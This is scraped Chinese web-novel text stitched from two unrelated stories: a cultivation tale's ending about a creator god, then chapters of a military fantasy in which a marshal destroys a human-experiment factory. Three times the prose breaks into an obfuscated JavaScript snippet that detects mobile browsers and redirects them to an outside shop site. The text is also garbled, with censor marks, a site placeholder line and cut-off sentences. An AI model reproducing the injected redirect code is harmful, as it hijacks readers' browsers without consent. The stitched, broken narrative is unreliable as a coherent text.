张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第40章中原暗厂 快!狠!毒!显然出自顶尖**之手,抓住了所有人注意力最松懈的瞬间! “小心!” 一直如同隐形人般站在谢凤卿另一侧后方的赤勒汗,竟猛地发出一声嘶哑的预警!他不知从何处爆发出最后的力量,猛地挣脱了押解士兵的束缚,用那被牛筋穿透、鲜血淋漓的肩膀,狠狠撞向谢凤卿! 同时,谢凤卿的反应快到了极致!几乎在机括声响起的瞬间,她按在萧御肩头的手指微不可察地一动! “咻!” 一枚细如发丝的银针,后发先至,精准无比地迎上那支淬毒小箭! “叮!” 一声极其轻微的脆响! 银针的针尖精准地点中了小箭的箭簇!一股巧劲瞬间爆发,那支来势汹汹的**竟被硬生生震得偏离了方向,擦着谢凤卿的鬓角飞过,“咄”地一声,深深钉入了她身后一名禁军士兵的盾牌上!箭尾剧颤,幽蓝的光芒令人心悸! 而赤勒汗那一撞,也恰好撞在了空处,他自己却因用力过猛和伤势,重重地摔倒在地,肩胛处鲜血狂涌,他却兀自抬头,焦急地看向谢凤卿,确认她无恙后,才松了口气,眼神复杂,竟流露出一种近乎忠犬般的担忧和庆幸。 这一切发生在电光火石之间!快到许多人甚至没看清发生了什么! 欢呼声戛然而止!所有人的表情都凝固在脸上,转化为惊骇! 谢凤卿脸上的温柔笑意瞬间消失得无影无踪,取而代之的是一片冰封般的杀意!她的目光如同两道实质的冰锥,瞬间锁定了**射来的方向——宗室观礼区中,一个面色惨白、正试图向后退缩的华服中年宗亲! “拿下。”她的声音冰冷刺骨,不带一丝感情。 影一如同鬼魅般出现在那名宗亲身后,铁钳般的大手瞬间将其制住,押跪在地! 谢凤卿缓缓拔出腰间长剑。剑身如一泓秋水,流淌着冰冷的寒芒。 她一步步走到那名面无人色、抖如筛糠的宗亲面前,目光扫过在场所有脸色煞白的宗室成员。 “本帅受命于天,总摄天下兵马,乃万民所向,陛下亲封。”她的声音不高,却如同来自九幽,带着令人灵魂战栗的寒意,“尔等宗室,食君之禄,不思报效,反行此卑劣刺殺之事?” 她举起长剑,剑锋在晨光下闪烁着死亡的光芒。 “今日,便以尔之血,警示天下!” 话音落落,剑光一闪! “噗嗤——!” 一颗大好头颅冲天而起!温热的鲜血如同喷泉,猛地溅射在冰冷的汉白玉龙阶之上,染出大片刺目惊心的猩红! 无头的尸体晃了晃,重重栽倒在地。 全场死寂!落针可闻!只有鲜血汩汩流淌的粘稠声音,和那颗头颅滚落台阶发出的沉闷声响。 所有宗室成员面如死灰,浑身颤抖,连大气都不敢喘一口。 谢凤卿持剑而立,剑尖犹自滴落滚烫的鲜血。她冰冷的目光扫过战战兢兢的宗室人群,声音如同最终审判: “再敢妄动者——满门抄斩,株连九族!” 杀伐决断,冷酷无情!这一刻,她不再是刚刚接受求婚的女子,而是执掌生杀予夺的天下兵马大元帅! 血腥味在寒冷的空气中弥漫开来,压得人喘不过气。 仪式在一种极其压抑和诡异的气氛中继续进行。 万国使节依次上前,献上国书和贡礼,表达臣服之意。他们的态度比之前更加敬畏,甚至带着恐惧。 当赤勒汗再次被搀扶起来,作为献俘的代表,最后一次向胜利者低头时,他趁着俯身的极短瞬间,动作极其隐蔽地,将一个小小的、卷得极紧的、用某种特殊油脂处理过的防水皮纸卷,塞入了谢凤卿垂落的手掌之中。 他的动作快如闪电,除了谢凤卿和极近处的萧御,无人察觉。 谢凤卿掌心一合,将那小小的皮纸卷纳入袖中。她的目光与赤勒汗短暂交汇,赤勒汗的眼中飞快地掠过一丝示警和恳求,随即又变回了麻木和屈从。 皮纸卷入手冰凉,上面似乎用极细的笔触勾勒着复杂的图案和标记。 谢凤卿面上不动声色,依旧接受着万邦的朝贺,仿佛什么都没有发生。 盛大的仪式终于接近尾声。 万国使节和文武百官再次跪伏,山呼“元帅千岁”的声音响彻云霄。 阳光彻底穿透云层,洒满银装素裹的天地,洒在承天门前那一片黑压压跪伏的人群身上,洒在龙阶之上那刺目的鲜血和孤零零的龙椅上,也洒在阶下那并肩而立的两人身上。 萧御已经站起身,重新立于谢凤卿身侧。他的目光温柔而坚定,无声地传递着支持。 谢凤卿微微抬着头,望着那高高在上、象征着九五至尊、此刻却空悬无人敢近的龙椅。阳光照在她银色的甲胄和猩红的斗篷上,反射出耀眼夺目的光芒,让她整个人仿佛沐浴在神光之中。 她缓缓收拢五指,感受着袖中那枚小小的、却可能重逾千钧的皮纸卷。 她的唇边,极其缓慢地,重新勾勒出一抹极淡、却深邃无比、充满了无尽意味的弧度。 天下归一,兵权在握,万国来朝。 但这,远不是终点。 她轻轻摩挲着袖中的纸卷,目光仿佛穿透了重重宫阙,望向了更深远、更黑暗的未知之处。 良久,一声极轻的、只有她自己能听见的低语,逸散在寒冷的空气中 夜,子时。 中原之地,伏牛山深处。 与京城的灯火辉煌截然不同,这里被一种令人窒息的、粘稠如墨的黑暗和浓雾彻底吞噬。隆冬的寒雾仿佛有了生命,从山谷深处、密林缝隙间无声地涌出,缠绕着每一棵枯树的枝桠,覆盖着每一寸冰冷的岩石和冻土。能见度不足十步,湿冷的雾气扑在脸上,带着一股若有若无的、令人作呕的腥甜气息,那是多种药材混合**后特有的味道,经年累月,已浸透了这片土地。 万籁俱寂,唯有不知名的夜枭偶尔发出一两声凄厉的啼叫,穿透浓雾,更添几分阴森诡谲。 在这片被世界遗忘的黑暗深处,却有一点微光,顽强地刺破了迷雾。 那是一处借助天然山洞巧妙改造而成的临时指挥密室。洞口被厚重的伪装网和枯藤覆盖,内部则点着几盏光线被严格约束的气死风灯。昏黄的光晕下,空气凝重得几乎能滴出水来。 谢凤卿依旧是一身便于行动的玄色劲装,并未披甲,乌发简单束在脑后,脸上带着连日奔波和思虑的淡淡倦色,但那双眸子,却亮得惊人,如同淬炼过的寒星,所有的疲惫都无法掩盖其深处的锐利与冰冷。 她站在一张临时拼凑起来的巨大木桌前。桌面上,赫然铺展着一幅令人触目惊心的巨大皮卷——正是三日前,赤勒汗在承天门前,以性命为掩护,塞入她手中的那卷“中原药人总图”! 皮卷材质特殊,显然经过特殊药水处理,防水防腐,上面的线条和标记并非用寻常墨汁绘制,而是一种暗红色的、如同干涸血迹般的颜料,在灯下泛着幽冷的光泽。 地图绘制得极其精细,山川河流、城镇道路清晰可辨,但最引人注目的,是上面用更加浓重的暗红色标记出的十个巨大的骷髅头图案,以及分散其间的九个宝箱标记! 十个骷髅头图案,如同十颗毒瘤,深深嵌入中原腹地的各处险要隐秘之处!而其中最大的一颗,正正钉在伏牛山脉的心脏区域!九个宝箱标记则如同众星拱月般,分布在骷髅头周围,显然是储存原料或成品的库房。 每条连接这些标记的道路、河流,甚至地下暗河,都被仔细标注出来,旁边还有细密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546013|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、某种古老的、类似于药方配伍般的奇特符号注释,显然是运输路线和保密方式。 整张地图,就是一张庞大、精密、隐藏在中原繁华表象之下、流淌着罪恶与鲜血的地下网络!其规模之巨,结构之复杂,远超之前在北疆捣毁的任何一处药人工坊! 霍三娘站在桌旁,她换上了一身利落的夜行衣,脸上惯有的风情万种被一种罕见的凝重和愤恨所取代。她的指尖微微颤抖,点着地图上那个最大的伏牛山骷髅标记,声音压抑而沉痛: “元帅……这就是中原暗厂,我们……我们之前发现的,不过是冰山一角。”她深吸一口气,仿佛需要极大的勇气才能继续说下去,“根据这图上的标注和我的内部消息相互印证,这伏牛山总厂……规模至少是北疆最大工坊的……十倍以上!” “十倍?”站在谢凤卿身侧的萧御眉头骤然锁紧,脸色在昏灯下显得异常冷峻。他身披墨色大氅,手一直按在腰间剑柄上,如同随时准备出鞘的利刃。 “不止规模,”霍三娘的声音带着一丝不易察觉的恐惧,“他们的‘工艺’……也更‘成熟’……每日……至少有五百活人……被送进去……能活着出来的……不足十一……” 每日五百!成活不足十一! 冰冷的数字,如同最锋利的冰锥,狠狠刺入在场每一个人的心脏!连空气都仿佛被这骇人听闻的罪恶所冻结! 谢凤卿的目光死死钉在地图上,指尖无意识地划过那暗红色的骷髅标记,力道大得几乎要戳穿皮卷。她的唇线抿成一条苍白的直线,胸腔深处翻涌着滔天的怒焰,却被极致的冷静强行压下。 “十倍地狱……”她缓缓开口,声音沙哑,却带着一种斩钉截铁的、足以冻结血液的杀意,“也挡不住火龙炮的怒火。” 她猛地抬头,目光如电,射向密室角落阴影中一个几乎与黑暗融为一体的瘦小身影——那是一个看起来只有十五六岁的少年,面色苍白,眼神却异常清澈坚定,穿着不合身的、沾满药渍的粗布衣裳。他叫阿九,是霍三娘费尽心力才从这人间地狱中带出来的、为数不多的清醒者,也是今日行动的关键内应。 “阿九,”谢凤卿的声音放缓了些许,却依旧带着不容置疑的力量,“里面的情况,最后确认一次。” 阿九深吸一口气,上前一步,虽然瘦弱,背脊却挺得笔直。他指着地图上暗厂核心区域的几个点,语速飞快却清晰:“回元帅,正门守卫每半个时辰换岗一次,换岗间隙有三息空档。东侧有一条废弃的排水暗渠,可直通药人牢区,但入口被巨石半封,需爆破。督造柳无极……他今夜会在核心丹房,监督一批‘新药’的炼制……那是……是最快的一批……”少年的声音到最后,带上了一丝压抑不住的颤抖和仇恨。 “柳无极……”谢凤卿重复了一遍这个名字,首辅沈介的关门弟子,中原暗厂的实际掌控者,药人实验的疯狂推进者。“很好。” 她不再有丝毫犹豫,转身,目光扫过密室中待命的几名核心将领和霍三娘、萧御。 “按计划行事。”“霍三娘,带你的人,确保撤退路线和‘货物’转移。”“萧御,”她的目光与他对上,“火龙炮,交给你了。我要这十里山谷,再无半点肮脏痕迹。”“阿九,跟我走。” 命令简洁,清晰,带着最终的审判意味。 “是!”众人低声领命,眼中燃烧着同样的火焰。 密室之外,浓雾依旧深重。 但若仔细倾听,便能发现,在这死寂的迷雾深处,隐藏着一种极其低沉、规律性的、如同巨兽沉睡时呼吸般的金属摩擦声。 那声音,来自于三条如同黑色巨**般,悄无声息匍匐在刚刚铺设完成的临时铁轨上的铁龙快车!快车被伪装网覆盖,车身冰冷坚硬,散发着浓烈的火油和钢铁的气息。 第41章吵什么?!惊扰了药性……呃? 每一条“铁龙”的后部拖拽平台上,赫然并排固定着十门造型狰狞、前所未见的重型火器——火龙炮!炮身由百炼精钢铸造,粗长的炮管在浓雾中闪烁着幽冷的寒光,炮口森然,如同巨兽张开的嗜血大口,等待着吞噬一切的指令。炮身旁,堆叠着一箱箱同样散发着危险气息的、西瓜大小的浑圆铁弹——雪崩雷! 三十门火龙炮!整整一千枚雪崩雷!这是镇北军工坊倾尽全力、在绝对保密状态下打造出的、超越这个时代的终极杀戮兵器!它们的首次实战,竟是在这中原腹地,用来彻底抹除一个人间地狱! 炮兵们如同沉默的幽灵,在浓雾中紧张而有序地进行着最后的检查、装填、调整射界。所有的动作都尽可能放轻,但那冰冷的杀意,却无法被雾气完全掩盖。 更多的工兵,则如同鬼魅般穿梭在伏牛山主谷的谷口两侧险要之处。他们利用地形和浓雾的掩护,将一枚枚沉甸甸的雪崩雷深埋进冻土,悬挂在峭壁,连接上密密麻麻、细如发丝却坚韧无比的引线。一个巨大的、足以将整个山谷入口彻底埋葬的“**口袋”,正在悄无声息地迅速成形! 子时三刻,雾浓如浆。 谢凤卿看了一眼身旁如同标枪般挺立的阿九,点了点头。 阿九深吸一口冰冷的、带着浓烈药味的空气,瘦小的身影如同灵猫般,悄无声息地滑入浓雾,朝着那片隐藏在山体阴影下的、巨大而狰狞的暗厂正门方向潜去。 他的动作轻盈得不可思议,显然对这里的地形和守卫规律了如指掌。利用换岗时那短暂得几乎不存在的三息空档,他如同壁虎般贴墙而行,指尖弹出一抹细微的、几乎看不见的粉末。 门口两名刚刚接岗、尚且有些睡眼惺忪的守卫,鼻翼微微翕动,眼神瞬间变得迷茫、涣散,随即软软地瘫倒在地,无声无息。 阿九迅速从其中一人腰间摸出钥匙,插入那扇厚重铁门上巨大的锁孔。 “咔哒……” 一声在万籁俱寂中显得格外清晰的轻响! 巨大的、看似浑然一体的铁门,缓缓向内裂开一道仅容一人通过的缝隙! 门内,更加浓烈刺鼻的药味和一股难以形容的、属于绝望和**的气息,如同积郁已久的毒气,猛地喷涌而出! 就在铁门开启的瞬间! “嗖——嗖——嗖——” 数道如同鬼魅般的黑影,如同利箭般从谢凤卿身后的浓雾中激射而出,精准无比地掠入那道门缝!正是谢凤卿麾下最为精锐的“风雪十八骑”! 谢凤卿本人,紧随其后,身影一闪,没入那片更加深沉的黑暗之中! 暗厂内部,并非想象中完全的地下世界,而是依山势开凿,结合了天然洞窟和人工建筑的巨大复合体。通道错综复杂,如同迷宫,石壁上镶嵌着昏暗的长明灯,灯火摇曳,投下光怪陆离的影子。空气湿热,弥漫着更加浓郁的、令人头晕目眩的药味、血腥味,以及一种仿佛无数人痛苦呻吟凝聚而成的、绝望的死气。 偶尔有穿着灰色工服、眼神麻木如同行尸走肉般的药人,或是面色阴沉、手持皮鞭棍棒的监工,在通道中走过。 风雪十八骑如同暗夜中的毒蛇,分工明确,默契无比。无声的闷响,细微的骨裂声,在昏暗的通道中偶尔响起。所有遭遇的监工,都在瞬间被格杀,尸体被迅速拖入阴影角落。而那些麻木的药人,则被迅速控制,示意他们保持安静。 谢凤卿目标明确,在阿九的指引下,如同精准的猎豹,直扑地图上标注的核心丹房区域! 越往深处,守卫越发森严,通道也越发宽敞。终于,前方出现一个巨大的、灯火通明、散发着惊人热力的洞窟入口!阵阵沉闷的撞击声、液体沸腾的咕嘟声、以及一种令人牙酸的、仿佛骨骼被碾碎般的声响,从里面传来! 洞口有四名气息明显不同于普通监工、太阳穴高鼓、眼神锐利的黑衣守卫! “什么人?!”守卫厉声喝问,同时拔刀! 然而,他们的刀尚未完全出鞘! 一道绯红色的、如同桃花瓣飘落般凄美绚烂的剑光,毫无征兆地亮起! 快!快到超越了视觉的极限! 仿佛只是眼前一花! “噗!噗!噗!噗!” 四道血线几乎同时从四名守卫的咽喉处迸现! 风雪十八骑的刀紧随其后,将尚未倒下的尸体迅速扶住,拖开。 谢凤卿持剑而立,剑身绯红,不沾滴血。她看也未看地上的尸体,一步踏入了那巨大的核心丹房! 丹房之内,景象如同修罗地狱! 数十个巨大的、由青铜铸就的丹炉正在熊熊燃烧,炉火映照得整个洞窟一片赤红。炉中沸腾的并非丹药,而是粘稠的、色彩诡异的、冒着气泡的药液,里面似乎还有未完全融化的……残肢断臂!无数根粗细不一的铜管从丹炉延伸出来,连接着一个个浸泡在冰冷液体中的透明琉璃罐,罐子里是各种扭曲变形、不成人形的器官或是……半成品的“药人”! 几十个穿着白色罩袍、眼神狂热而麻木的药师学徒,如同工蚁般忙碌着。 而在丹房正中央的高台上,一个身穿深紫色药师袍、面容阴鸷、留着三缕长须的中年男子,正背对着入口,全神贯注地观察着一个琉璃罐中剧烈挣扎、变形的人形物体,口中还念念有词:“快了……就快了……这次的‘涅槃散’定能……” 他似乎察觉到身后的异样和突然消失的守卫喝问声,不耐烦地回过头:“吵什么?!惊扰了药性……呃?!” 他的话戛然而止! 因为他回头看到的,并非他的学徒或守卫,而是一个陌生的、一身玄衣、手持绯红长剑、眼神冰冷得如同九幽寒冰的女子! 以及女子身后,那如同杀神般silent涌入、迅速控制住所有学徒的风雪十八骑! “你……你们是什么人?!”柳无极脸色骤变,下意识地后退一步,厉声喝道,“敢擅闯……” 他的话音未落! 那道绯红色的桃花剑光再次一闪! 快得根本无法反应! 柳无极只觉得右臂一凉,随即一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546014|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撕心裂肺的剧痛才猛地传来! “啊——!!” 他发出一声凄厉无比的惨叫,眼睁睁看着自己的右臂齐肩而断,带着一蓬温热的鲜血,飞离了他的身体,啪嗒一声掉落在沾满药渍的石地上,手指还兀自抽搐着! 谢凤卿的剑尖,已然点在了他的眉心。冰冷的剑锋刺破皮肤,一滴血珠渗出。 “柳无极?”她的声音如同万载寒冰,不带一丝情绪。 “是……是我……饶命……大人饶命……”剧烈的疼痛和死亡的恐惧瞬间摧毁了柳无极所有的嚣张和疯狂,他瘫倒在地,左手死死捂着喷血的断臂处,脸色惨白如纸,涕泪横流,语无伦次地哀求。 “给你一个机会,”谢凤卿的剑尖微微下压,“打开所有牢门,放出所有还活着的人。或者,我现在就让你进去,尝尝你自己炼的‘涅槃散’。” “开!我开!我这就开!”柳无极如同抓住了救命稻草,忍着剧痛,连滚带爬地扑向高台一侧的一个复杂机括,用仅存的左手颤抖着操作起来。 “嘎吱吱——!” 一阵沉闷的机括声响彻巨大的丹房,甚至传到了外面的通道! 紧接着,远处传来了阵阵铁门开启的轰隆声,以及……一片死寂之后,骤然爆发的、如同洪水决堤般的、充满了绝望、痛苦、茫然和一丝微弱希望的骚动和哭喊声!成千上万被囚禁的药人,如同潮水般从各个牢区涌出! 就在内部骚动爆发的瞬间—— 暗厂之外,浓雾弥漫的山谷中。 一直如同石雕般静立在铁龙快车旁的萧御,猛地抬起了手! 他的目光锐利如鹰,穿透浓雾,死死锁定着暗厂那巨大的、如同恶魔巨口般的入口方向。 “目标,谷口预设区域!”“火龙炮!”“放!” 最后那个“放”字,如同惊雷炸裂! “轰!!!”“轰轰轰轰轰轰——!!” 下一瞬间,整个世界仿佛被彻底撕裂! 三十门火龙炮,第一次在中原大地发出了震耳欲聋的咆哮!炮口喷吐出长达数尺的炽烈火焰,如同三十条愤怒的火龙,瞬间驱散了浓雾,将整个山谷映照得如同白昼! 三十枚沉重的、内部填充了高爆**和猛火油的雪崩雷,带着死亡的尖啸,划破夜空,如同陨石天降,精准无比地砸向了暗厂主体建筑最脆弱的结构支撑点,以及那些试图从正门涌出的、监工和死士**的区域! 地动山摇!真正的天崩地裂! 巨大的**声连绵成一片,几乎要震聋人的耳朵!坚固的山体岩壁在恐怖的**冲击下如同豆腐般被轻易撕碎!巨大的石块混合着木头、铁器、以及无数残肢断臂,被抛向高空,又如同暴雨般砸落下来! 暗厂那庞大的、依山而建的建筑群,在第一时间就被这毁灭性的齐射打得千疮百孔,火光冲天! 但这,仅仅是开始! “引爆!” 萧御冰冷的声音再次响起,穿透**的轰鸣! “轰轰轰轰轰——!!” 第42章宗室药人名册 更加密集、更加狂暴、更加令人绝望的**声,从山谷的入口处疯狂传来! 那是早已埋设好的上千枚雪崩雷被连环引爆! 真正的**口袋被彻底点燃! 整个伏牛山主谷的入口,两侧高达百丈的峭壁,在无法形容的恐怖**力作用下,发出不堪重负的、令人牙酸的呻吟,然后——如同被巨神之手狠狠推搡,轰然崩塌!! 亿万方的岩石和泥土,如同咆哮的黄河决堤,以无可阻挡之势,朝着谷内疯狂倾泻而下!瞬间就将暗厂唯一的出口,以及那些刚刚逃出地狱、却被这天地之威吓得魂飞魄散的药人监工死士,连同小半个暗厂建筑,彻底吞没、埋葬! 火光、烟尘、碎石、泥土……混合成一股毁灭一切的洪流!十里山谷,在这一刻,真的如同其名,发生了惊天动地的雪崩!只不过,崩裂的不是积雪,而是山体!埋葬的不是道路,而是人间地狱! **声、崩塌声、惨叫声、绝望的哭嚎声……交织成一曲来自炼狱的毁灭交响! 暗厂内部,刚刚释放了药人、正被风雪十八骑严密看管的柳无极,透过丹房巨大的洞口,目瞪口呆地看着外面那如同末日降临般的景象,看着那象征着他毕生心血和权力的暗厂在火海和崩塌中化为废墟,看着那足以埋葬一切的土石洪流…… 他彻底傻了,呆了,疯了。 所有的侥幸、所有的算计、所有的疯狂,在这绝对的、碾压式的毁灭力量面前,都化为了最可笑的尘埃。 他扑通一声,彻底瘫软在地,身下洇开一滩腥臊的污渍。 谢凤卿站在洞口,猩红的斗篷在**产生的灼热气浪中狂舞。她冷漠地注视着眼前的毁灭,看着火龙炮的怒火如何将十倍地狱彻底从大地上抹去,看着雪崩雷如何完成最终的埋葬。 她的脸上,没有任何表情,唯有眼底深处,倒映着这焚尽罪恶的冲天火光。 不知过了多久,**声渐渐停歇,只剩下大火燃烧的噼啪声和偶尔的山石滚落声。 山谷,已然面目全非。巨大的塌方体几乎填平了谷口,火焰在废墟上燃烧,浓烟滚滚,直冲天际,连浓雾都被暂时驱散。 幸存的、被及时引导到安全区域的药人们,在风雪十八骑和霍三娘带领的人的安抚下,望着那片毁灭的火海,脸上充满了茫然、恐惧,以及……一丝新生的震颤。 柳无极如同一条死狗,被拖到谢凤卿面前。 他抬起头,看着眼前这个如同火焰女神般冷漠而强大的女子,眼中只剩下无边的恐惧和彻底的屈服。 他忽然像是想起了什么,用仅存的左手,疯狂地在怀里摸索着,最后掏出了一本用油布包裹得严严实实、巴掌大小的册子。 他颤抖着,如同奉献最珍贵的宝物,又如同急于摆脱催命的符咒,将册子高高举过头顶,声音嘶哑破碎,充满了绝望的哀求: “饶……饶命……元帅饶命……”“这……这是……‘宗室药人名册’……”“里面……里面记录着……所有……所有参与和支持药人实验的宗室成员名单……还有……还有他们提供的……‘特殊药引’的来源……甚至……甚至包括几位……几位皇室……” 他的声音低了下去,充满了无尽的恐惧,但那个未尽的词,却像一道终极的闪电,劈开了所有迷雾! 宗室成员!皇室成员!竟然也成了这药人实验的“药引”来源?!这是何等骇人听闻、颠覆人伦的罪恶?! 谢凤卿的瞳孔,骤然收缩成最危险的针尖状! 她缓缓伸出手,接过了那本轻薄、却重逾泰山的油布册子。 指尖触及那冰冷的油布,仿佛能感受到无数冤魂的哀嚎和诅咒。 她紧紧攥着那本名册,缓缓地、缓缓地转过身。 目光,仿佛穿透了尚未散尽的硝烟和火光,穿透了重重山峦,精准地投向了遥远北方——那京城的方向,那紫宸殿的方向,那所有宗室勋贵盘踞的巢穴! 她的唇边,缓缓勾起一抹冰冷、残酷、带着最终审判意味的弧度。 声音不高,却如同来自九幽的寒风,清晰地刮过每一个人的耳膜: “宗室药人名册……” 她顿了顿,每一个字都像冰钉般砸落: “是你们最后的**宣判。” 她抬起手,将那本名册紧紧按在心口,仿佛那里面跳动着无数枉死者的冤魂。 她的目光锐利如刀,仿佛已经看到了那金碧辉煌的宫殿在真相面前轰然倒塌的景象。 最终,那冰冷的声音再次响起,带着毋庸置疑的决断,为今夜的行动画上句号,也为下一场更大的风暴,拉开了序幕: “下一个——” 她的声音微微扬起,穿透夜色,如同战鼓擂响: “该你们了。” 正月十三,大雪复又落下。 不同于元日初雪时的清冷,这场雪来得急且猛,鹅毛般的雪片密集地自灰蒙蒙的天穹倾泻而下,不过半日功夫,便将刚刚清扫过的京城再次裹入一片厚重的银白之中。寒风卷着雪沫,发出呜呜的尖啸,抽打着朱墙碧瓦,更添几分肃杀凛冽。 皇家宗庙,位于皇城东南,平日里便是禁地中的禁地,今日更是戒备森严,气氛凝重得如同铁铸。高大的汉白玉牌坊、巍峨的殿宇、森然的**,皆披上了厚厚的素缟,在漫天风雪中silent矗立,仿佛无数silent的见证者。 宗祠正殿之前,巨大的广场上,黑压压地跪满了人。 以三十八家最具权势的宗室亲王、郡王、国公为首,所有有爵位在身的萧氏皇族成员,无论老少,皆按品级着最隆重的朝服或吉服,匍匐在冰冷刺骨的雪地里。他们的额头紧贴着被雪水浸湿的金砖,身体因寒冷和莫名的恐惧而微微颤抖。旌旗仪仗在风雪中无力地垂落,唯有那尊巨大的、用于祭祀的青铜夔纹大鼎内,焚烧着皇家特制的香料的青烟,依旧顽强地袅袅升起,试图驱散这无处不在的寒意和压抑,却只让空气中混合了一种古怪的、令人窒息的沉闷气息。 百官依品级序列,跪于宗室成员之后更远的地方,一个个低眉顺眼,屏息凝神,连大气都不敢喘。无数道目光,或惊惧,或探究,或幸灾乐祸,或兔死狐悲,都小心翼翼地、隐晦地投向那高高在上的宗祠殿门,以及殿前那一片黑压压的宗室头顶。 端坐于殿门前高阶之上、设有华盖屏风遮挡风雪的御座之上的,是皇帝萧睿。他身穿明黄色龙袍,头戴十二旒冕冠,旒珠微微晃动,遮挡着他晦暗不明的面色。他的背脊挺得笔直,试图维持着天子的威严,但放在龙椅扶手上、微微颤抖的手指,却泄露了他内心的惊涛骇浪和极力压抑的恐慌。他的目光,不时地、不受控制地飘向身旁另一张凤座上的太皇太后。 太皇太后今日亦穿着最隆重的朝服,凤冠霞帔,面容被脂粉精心修饰过,却依旧难掩那份深入骨髓的冰冷和疲惫。她眼帘微垂,手中缓缓捻动着一串沉香木佛珠,仿佛对外界的一切漠不关心,唯有那捻动佛珠的、微微泛白的指节,显露出她内心绝非表面这般平静。 礼部的赞礼官,正拉长了腔调,诵读着冗长而晦涩的祭文,声音在风雪中显得单薄而遥远,无非是祈求祖宗保佑,国泰民安,皇图永固之类的陈词滥调。 一切,似乎只是一场因风雪而格外肃穆的寻常宗室大典。 然而,一种山雨欲来风满楼的、令人心悸的死寂,却沉沉地压在每个知情或隐约预感者的心头。仿佛那厚厚的积雪之下,埋藏着即将爆发的火山。 祭文诵读完毕,赞礼官高喊:“拜——” 宗室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 